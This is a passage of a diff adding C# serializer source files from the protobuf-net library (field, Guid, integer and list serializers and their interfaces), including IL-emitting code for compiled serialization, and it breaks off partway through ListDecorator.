@ -0,0 +1,101 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class FieldDecorator : ProtoDecoratorBase
|
||||
{
|
||||
|
||||
public override Type ExpectedType { get { return forType; } }
|
||||
private readonly FieldInfo field;
|
||||
private readonly Type forType;
|
||||
public override bool RequiresOldValue { get { return true; } }
|
||||
public override bool ReturnsValue { get { return false; } }
|
||||
public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail) : base(tail)
|
||||
{
|
||||
Helpers.DebugAssert(forType != null);
|
||||
Helpers.DebugAssert(field != null);
|
||||
this.forType = forType;
|
||||
this.field = field;
|
||||
}
|
||||
#if !FEAT_IKVM
|
||||
public override void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
Helpers.DebugAssert(value != null);
|
||||
value = field.GetValue(value);
|
||||
if(value != null) Tail.Write(value, dest);
|
||||
}
|
||||
public override object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value != null);
|
||||
object newValue = Tail.Read((Tail.RequiresOldValue ? field.GetValue(value) : null), source);
|
||||
if(newValue != null) field.SetValue(value,newValue);
|
||||
return null;
|
||||
}
|
||||
#endif
|
||||
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.LoadAddress(valueFrom, ExpectedType);
|
||||
ctx.LoadValue(field);
|
||||
ctx.WriteNullCheckedTail(field.FieldType, Tail, null);
|
||||
}
|
||||
protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom))
|
||||
{
|
||||
ctx.LoadAddress(loc, ExpectedType);
|
||||
if (Tail.RequiresOldValue)
|
||||
{
|
||||
ctx.CopyValue();
|
||||
ctx.LoadValue(field);
|
||||
}
|
||||
// value is either now on the stack or not needed
|
||||
ctx.ReadNullCheckedTail(field.FieldType, Tail, null);
|
||||
|
||||
if (Tail.ReturnsValue)
|
||||
{
|
||||
if (field.FieldType.IsValueType)
|
||||
{
|
||||
// stack is now the return value
|
||||
ctx.StoreValue(field);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
Compiler.CodeLabel hasValue = ctx.DefineLabel(), allDone = ctx.DefineLabel();
|
||||
ctx.CopyValue();
|
||||
ctx.BranchIfTrue(hasValue, true); // interpret null as "don't assign"
|
||||
|
||||
// no value, discard
|
||||
ctx.DiscardValue();
|
||||
ctx.DiscardValue();
|
||||
ctx.Branch(allDone, true);
|
||||
|
||||
ctx.MarkLabel(hasValue);
|
||||
ctx.StoreValue(field);
|
||||
ctx.MarkLabel(allDone);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.DiscardValue();
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,55 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
#endif
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class GuidSerializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(Guid);
|
||||
#endif
|
||||
public GuidSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(Guid));
|
||||
#endif
|
||||
}
|
||||
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
BclHelpers.WriteGuid((Guid)value, dest);
|
||||
}
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return BclHelpers.ReadGuid(source);
|
||||
}
|
||||
#endif
|
||||
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,71 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
interface IProtoSerializer
|
||||
{
|
||||
/// <summary>
|
||||
/// The type that this serializer is intended to work for.
|
||||
/// </summary>
|
||||
Type ExpectedType { get; }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
/// <summary>
|
||||
/// Perform the steps necessary to serialize this data.
|
||||
/// </summary>
|
||||
/// <param name="value">The value to be serialized.</param>
|
||||
/// <param name="dest">The writer entity that is accumulating the output data.</param>
|
||||
void Write(object value, ProtoWriter dest);
|
||||
|
||||
/// <summary>
|
||||
/// Perform the steps necessary to deserialize this data.
|
||||
/// </summary>
|
||||
/// <param name="value">The current value, if appropriate.</param>
|
||||
/// <param name="source">The reader providing the input data.</param>
|
||||
/// <returns>The updated / replacement value.</returns>
|
||||
object Read(object value, ProtoReader source);
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Indicates whether a Read operation <em>replaces</em> the existing value, or
|
||||
/// <em>extends</em> the value. If false, the "value" parameter to Read is
|
||||
/// discarded, and should be passed in as null.
|
||||
/// </summary>
|
||||
bool RequiresOldValue { get; }
|
||||
/// <summary>
|
||||
/// Now all Read operations return a value (although most do); if false no
|
||||
/// value should be expected.
|
||||
/// </summary>
|
||||
bool ReturnsValue { get; }
|
||||
|
||||
#if FEAT_COMPILER
|
||||
|
||||
|
||||
|
||||
/// <summary>Emit the IL necessary to perform the given actions
|
||||
/// to serialize this data.
|
||||
/// </summary>
|
||||
/// <param name="ctx">Details and utilities for the method being generated.</param>
|
||||
/// <param name="valueFrom">The source of the data to work against;
|
||||
/// If the value is only needed once, then LoadValue is sufficient. If
|
||||
/// the value is needed multiple times, then note that a "null"
|
||||
/// means "the top of the stack", in which case you should create your
|
||||
/// own copy - GetLocalWithValue.</param>
|
||||
void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom);
|
||||
|
||||
/// <summary>
|
||||
/// Emit the IL necessary to perform the given actions to deserialize this data.
|
||||
/// </summary>
|
||||
/// <param name="ctx">Details and utilities for the method being generated.</param>
|
||||
/// <param name="entity">For nested values, the instance holding the values; note
|
||||
/// that this is not always provided - a null means not supplied. Since this is always
|
||||
/// a variable or argument, it is not necessary to consume this value.</param>
|
||||
void EmitRead(Compiler.CompilerContext ctx, Compiler.Local entity);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,21 @@
|
|||
#if !NO_RUNTIME
|
||||
using ProtoBuf.Meta;
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
interface IProtoTypeSerializer : IProtoSerializer
|
||||
{
|
||||
bool HasCallbacks(TypeModel.CallbackType callbackType);
|
||||
bool CanCreateInstance();
|
||||
#if !FEAT_IKVM
|
||||
object CreateInstance(ProtoReader source);
|
||||
void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context);
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType);
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void EmitCreateInstance(Compiler.CompilerContext ctx);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,10 @@
|
|||
#if !NO_RUNTIME
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
interface ISerializerProxy
|
||||
{
|
||||
IProtoSerializer Serializer { get; }
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,54 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class Int16Serializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(short);
|
||||
#endif
|
||||
public Int16Serializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(short));
|
||||
#endif
|
||||
}
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadInt16();
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteInt16((short)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteInt16", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadInt16", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,54 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class Int32Serializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(int);
|
||||
#endif
|
||||
public Int32Serializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(int));
|
||||
#endif
|
||||
}
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadInt32();
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteInt32((int)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteInt32", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadInt32", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,55 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class Int64Serializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(long);
|
||||
#endif
|
||||
public Int64Serializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(long));
|
||||
#endif
|
||||
}
|
||||
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadInt64();
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteInt64((long)value, dest);
|
||||
}
|
||||
#endif
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteInt64", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadInt64", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,40 @@
|
|||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
/*
|
||||
sealed class KeyValuePairDecorator : IProtoSerializer
|
||||
{
|
||||
private readonly Type pairType;
|
||||
private readonly IProtoSerializer keyTail, valueTail;
|
||||
public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) {
|
||||
Helpers.DebugAssert(pairType != null);
|
||||
Helpers.DebugAssert(keyTail != null);
|
||||
Helpers.DebugAssert(valueTail != null);
|
||||
Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch");
|
||||
this.pairType = pairType;
|
||||
this.keyTail = keyTail;
|
||||
this.valueTail = valueTail;
|
||||
}
|
||||
|
||||
public Type ExpectedType { get { return pairType;}}
|
||||
public bool ReturnsValue { get { return true; } }
|
||||
public bool RequiresOldValue { get { return true; } }
|
||||
public abstract void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
|
||||
}
|
||||
public abstract object Read(object value, ProtoReader source)
|
||||
{
|
||||
|
||||
}
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) {
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
#endif
|
||||
}*/
|
||||
}
|
|
@ -0,0 +1,520 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using System.Collections;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class ListDecorator : ProtoDecoratorBase
|
||||
{
|
||||
internal static bool CanPack(WireType wireType)
|
||||
{
|
||||
switch (wireType)
|
||||
{
|
||||
case WireType.Fixed32:
|
||||
case WireType.Fixed64:
|
||||
case WireType.SignedVariant:
|
||||
case WireType.Variant:
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
private readonly byte options;
|
||||
|
||||
private const byte OPTIONS_IsList = 1,
|
||||
OPTIONS_SuppressIList = 2,
|
||||
OPTIONS_WritePacked = 4,
|
||||
OPTIONS_ReturnList = 8,
|
||||
OPTIONS_OverwriteList = 16,
|
||||
OPTIONS_SupportNull = 32;
|
||||
|
||||
private readonly Type declaredType, concreteType;
|
||||
|
||||
private readonly MethodInfo add;
|
||||
|
||||
private readonly int fieldNumber;
|
||||
|
||||
private bool IsList { get { return (options & OPTIONS_IsList) != 0; } }
|
||||
private bool SuppressIList { get { return (options & OPTIONS_SuppressIList) != 0; } }
|
||||
private bool WritePacked { get { return (options & OPTIONS_WritePacked) != 0; } }
|
||||
private bool SupportNull { get { return (options & OPTIONS_SupportNull) != 0; } }
|
||||
private bool ReturnList { get { return (options & OPTIONS_ReturnList) != 0; } }
|
||||
private readonly WireType packedWireType;
|
||||
|
||||
public ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull)
|
||||
: base(tail)
|
||||
{
|
||||
if (returnList) options |= OPTIONS_ReturnList;
|
||||
if (overwriteList) options |= OPTIONS_OverwriteList;
|
||||
if (supportNull) options |= OPTIONS_SupportNull;
|
||||
if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
if (!CanPack(packedWireType))
|
||||
{
|
||||
if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding");
|
||||
packedWireType = WireType.None;
|
||||
}
|
||||
|
||||
this.fieldNumber = fieldNumber;
|
||||
if (writePacked) options |= OPTIONS_WritePacked;
|
||||
this.packedWireType = packedWireType;
|
||||
if (declaredType == null) throw new ArgumentNullException("declaredType");
|
||||
if (declaredType.IsArray) throw new ArgumentException("Cannot treat arrays as lists", "declaredType");
|
||||
this.declaredType = declaredType;
|
||||
this.concreteType = concreteType;
|
||||
|
||||
// look for a public list.Add(typedObject) method
|
||||
bool isList;
|
||||
add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out isList);
|
||||
if (isList)
|
||||
{
|
||||
options |= OPTIONS_IsList;
|
||||
string fullName = declaredType.FullName;
|
||||
if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[["))
|
||||
{ // see http://stackoverflow.com/questions/6194639/entityset-is-there-a-sane-reason-that-ilist-add-doesnt-set-assigned
|
||||
options |= OPTIONS_SuppressIList;
|
||||
}
|
||||
}
|
||||
if (add == null) throw new InvalidOperationException("Unable to resolve a suitable Add method for " + declaredType.FullName);
|
||||
}
|
||||
|
||||
public override Type ExpectedType { get { return declaredType; } }
|
||||
public override bool RequiresOldValue { get { return AppendToCollection; } }
|
||||
public override bool ReturnsValue { get { return ReturnList; } }
|
||||
|
||||
private bool AppendToCollection
|
||||
{
|
||||
get { return (options & OPTIONS_OverwriteList) == 0; }
|
||||
}
|
||||
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
|
||||
{
|
||||
/* This looks more complex than it is. Look at the non-compiled Read to
|
||||
* see what it is trying to do, but note that it needs to cope with a
|
||||
* few more scenarios. Note that it picks the **most specific** Add,
|
||||
* unlike the runtime version that uses IList when possible. The core
|
||||
* is just a "do {list.Add(readValue())} while {thereIsMore}"
|
||||
*
|
||||
* The complexity is due to:
|
||||
* - value types vs reference types (boxing etc)
|
||||
* - initialization if we need to pass in a value to the tail
|
||||
* - handling whether or not the tail *returns* the value vs updates the input
|
||||
*/
|
||||
bool returnList = ReturnList;
|
||||
bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType);
|
||||
using (Compiler.Local list = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Compiler.Local(ctx, declaredType))
|
||||
using (Compiler.Local origlist = (returnList && AppendToCollection) ? new Compiler.Local(ctx, ExpectedType) : null)
|
||||
{
|
||||
if (!AppendToCollection)
|
||||
{ // always new
|
||||
ctx.LoadNullRef();
|
||||
ctx.StoreValue(list);
|
||||
}
|
||||
else if (returnList)
|
||||
{ // need a copy
|
||||
ctx.LoadValue(list);
|
||||
ctx.StoreValue(origlist);
|
||||
}
|
||||
if (concreteType != null)
|
||||
{
|
||||
ctx.LoadValue(list);
|
||||
Compiler.CodeLabel notNull = ctx.DefineLabel();
|
||||
ctx.BranchIfTrue(notNull, true);
|
||||
ctx.EmitCtor(concreteType);
|
||||
ctx.StoreValue(list);
|
||||
ctx.MarkLabel(notNull);
|
||||
}
|
||||
|
||||
EmitReadList(ctx, list, Tail, add, packedWireType, castListForAdd);
|
||||
|
||||
if (returnList)
|
||||
{
|
||||
if (AppendToCollection)
|
||||
{
|
||||
// remember ^^^^ we had a spare copy of the list on the stack; now we'll compare
|
||||
ctx.LoadValue(origlist);
|
||||
ctx.LoadValue(list); // [orig] [new-value]
|
||||
Compiler.CodeLabel sameList = ctx.DefineLabel(), allDone = ctx.DefineLabel();
|
||||
ctx.BranchIfEqual(sameList, true);
|
||||
ctx.LoadValue(list);
|
||||
ctx.Branch(allDone, true);
|
||||
ctx.MarkLabel(sameList);
|
||||
ctx.LoadNullRef();
|
||||
ctx.MarkLabel(allDone);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue(list);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal static void EmitReadList(ProtoBuf.Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd)
|
||||
{
|
||||
using (Compiler.Local fieldNumber = new Compiler.Local(ctx, ctx.MapType(typeof(int))))
|
||||
{
|
||||
Compiler.CodeLabel readPacked = packedWireType == WireType.None ? new Compiler.CodeLabel() : ctx.DefineLabel();
|
||||
if (packedWireType != WireType.None)
|
||||
{
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType"));
|
||||
ctx.LoadValue((int)WireType.String);
|
||||
ctx.BranchIfEqual(readPacked, false);
|
||||
}
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber"));
|
||||
ctx.StoreValue(fieldNumber);
|
||||
|
||||
Compiler.CodeLabel @continue = ctx.DefineLabel();
|
||||
ctx.MarkLabel(@continue);
|
||||
|
||||
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
|
||||
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.LoadValue(fieldNumber);
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader"));
|
||||
ctx.BranchIfTrue(@continue, false);
|
||||
|
||||
if (packedWireType != WireType.None)
|
||||
{
|
||||
Compiler.CodeLabel allDone = ctx.DefineLabel();
|
||||
ctx.Branch(allDone, false);
|
||||
ctx.MarkLabel(readPacked);
|
||||
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem"));
|
||||
|
||||
Compiler.CodeLabel testForData = ctx.DefineLabel(), noMoreData = ctx.DefineLabel();
|
||||
ctx.MarkLabel(testForData);
|
||||
ctx.LoadValue((int)packedWireType);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue"));
|
||||
ctx.BranchIfFalse(noMoreData, false);
|
||||
|
||||
EmitReadAndAddItem(ctx, list, tail, add, castListForAdd);
|
||||
ctx.Branch(testForData, false);
|
||||
|
||||
ctx.MarkLabel(noMoreData);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem"));
|
||||
ctx.MarkLabel(allDone);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
private static void EmitReadAndAddItem(Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd)
|
||||
{
|
||||
ctx.LoadValue(list);
|
||||
if (castListForAdd) ctx.Cast(add.DeclaringType);
|
||||
Type itemType = tail.ExpectedType;
|
||||
if (tail.RequiresOldValue)
|
||||
{
|
||||
if (itemType.IsValueType || !tail.ReturnsValue)
|
||||
{
|
||||
// going to need a variable
|
||||
using (Compiler.Local item = new Compiler.Local(ctx, itemType))
|
||||
{
|
||||
if (itemType.IsValueType)
|
||||
{ // initialise the struct
|
||||
ctx.LoadAddress(item, itemType);
|
||||
ctx.EmitCtor(itemType);
|
||||
}
|
||||
else
|
||||
{ // assign null
|
||||
ctx.LoadNullRef();
|
||||
ctx.StoreValue(item);
|
||||
}
|
||||
tail.EmitRead(ctx, item);
|
||||
if (!tail.ReturnsValue) { ctx.LoadValue(item); }
|
||||
}
|
||||
}
|
||||
else
|
||||
{ // no variable; pass the null on the stack and take the value *off* the stack
|
||||
ctx.LoadNullRef();
|
||||
tail.EmitRead(ctx, null);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (tail.ReturnsValue)
|
||||
{ // out only (on the stack); just emit it
|
||||
tail.EmitRead(ctx, null);
|
||||
}
|
||||
else
|
||||
{ // doesn't take anything in nor return anything! WTF?
|
||||
throw new InvalidOperationException();
|
||||
}
|
||||
}
|
||||
// our "Add" is chosen either to take the correct type, or to take "object";
|
||||
// we may need to box the value
|
||||
|
||||
Type addParamType = add.GetParameters()[0].ParameterType;
|
||||
if(addParamType != itemType) {
|
||||
if (addParamType == ctx.MapType(typeof(object)))
|
||||
{
|
||||
ctx.CastToObject(itemType);
|
||||
}
|
||||
#if !NO_GENERICS
|
||||
else if(Helpers.GetUnderlyingType(addParamType) == itemType)
|
||||
{ // list is nullable
|
||||
ConstructorInfo ctor = Helpers.GetConstructor(addParamType, new Type[] {itemType}, false);
|
||||
ctx.EmitCtor(ctor); // the itemType on the stack is now a Nullable<ItemType>
|
||||
}
|
||||
#endif
|
||||
else
|
||||
{
|
||||
throw new InvalidOperationException("Conflicting item/add type");
|
||||
}
|
||||
}
|
||||
ctx.EmitCall(add);
|
||||
if (add.ReturnType != ctx.MapType(typeof(void)))
|
||||
{
|
||||
ctx.DiscardValue();
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if WINRT
|
||||
private static readonly TypeInfo ienumeratorType = typeof(IEnumerator).GetTypeInfo(), ienumerableType = typeof (IEnumerable).GetTypeInfo();
|
||||
#else
|
||||
private static readonly System.Type ienumeratorType = typeof (IEnumerator), ienumerableType = typeof (IEnumerable);
|
||||
#endif
|
||||
MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current)
|
||||
{
|
||||
|
||||
#if WINRT
|
||||
TypeInfo enumeratorType = null, iteratorType, expectedType = ExpectedType.GetTypeInfo();
|
||||
#else
|
||||
Type enumeratorType = null, iteratorType, expectedType = ExpectedType;
|
||||
#endif
|
||||
|
||||
// try a custom enumerator
|
||||
MethodInfo getEnumerator = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null);
|
||||
Type itemType = Tail.ExpectedType;
|
||||
|
||||
if (getEnumerator != null)
|
||||
{
|
||||
iteratorType = getEnumerator.ReturnType
|
||||
#if WINRT
|
||||
.GetTypeInfo()
|
||||
#endif
|
||||
;
|
||||
moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext", null);
|
||||
PropertyInfo prop = Helpers.GetProperty(iteratorType, "Current", false);
|
||||
current = prop == null ? null : Helpers.GetGetMethod(prop, false, false);
|
||||
if (moveNext == null && (model.MapType(ienumeratorType).IsAssignableFrom(iteratorType)))
|
||||
{
|
||||
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null);
|
||||
}
|
||||
// fully typed
|
||||
if (moveNext != null && moveNext.ReturnType == model.MapType(typeof(bool))
|
||||
&& current != null && current.ReturnType == itemType)
|
||||
{
|
||||
return getEnumerator;
|
||||
}
|
||||
moveNext = current = getEnumerator = null;
|
||||
}
|
||||
|
||||
#if !NO_GENERICS
|
||||
// try IEnumerable<T>
|
||||
Type tmp = model.MapType(typeof(System.Collections.Generic.IEnumerable<>), false);
|
||||
|
||||
if (tmp != null)
|
||||
{
|
||||
tmp = tmp.MakeGenericType(itemType);
|
||||
|
||||
#if WINRT
|
||||
enumeratorType = tmp.GetTypeInfo();
|
||||
#else
|
||||
enumeratorType = tmp;
|
||||
#endif
|
||||
}
|
||||
;
|
||||
if (enumeratorType != null && enumeratorType.IsAssignableFrom(expectedType))
|
||||
{
|
||||
getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator");
|
||||
|
||||
#if WINRT
|
||||
iteratorType = getEnumerator.ReturnType.GetTypeInfo();
|
||||
#else
|
||||
iteratorType = getEnumerator.ReturnType;
|
||||
#endif
|
||||
|
||||
moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext");
|
||||
current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false);
|
||||
return getEnumerator;
|
||||
}
|
||||
#endif
|
||||
// give up and fall-back to non-generic IEnumerable
|
||||
enumeratorType = model.MapType(ienumerableType);
|
||||
